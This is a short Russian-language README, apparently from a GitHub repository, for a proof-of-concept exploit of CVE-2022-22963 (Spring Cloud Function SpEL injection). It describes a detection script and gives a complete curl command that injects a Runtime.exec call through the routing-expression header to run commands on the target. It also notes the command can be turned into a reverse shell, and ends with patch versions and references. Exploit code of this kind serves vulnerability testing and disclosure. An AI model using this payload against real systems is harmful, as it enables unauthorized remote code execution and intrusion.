puckiestyle/cve-2022-22963PoC-эксплойт для CVE-2022-22963 (Spring Cloud Function SpEL-инъекция) с скриптом обнаружения и генерацией полезной нагрузки на основе curl для RCE.
CVE-2022-22963 PoC
Незначительно изменено для перевода на английский язык и обнаружения https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/Spel_RCE_POC.py . По умолчанию на цели выполняется whoami и создается файл vulnerable.txt с URL-адресами, которые уязвимы.
Эксплуатация уязвимости довольно проста. Ниже приведена команда curl для эксплуатации уязвимости.
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
С помощью этой команды curl тривиально создать файл в операционной системе, но её также можно использовать для открытия обратной оболочки на уязвимом хосте или контейнере.
Если вы подвержены влиянию CVE-2022-22963, вам следует обновить приложение до новейших версий 3.1.7 и 3.2.3.
https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html, https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
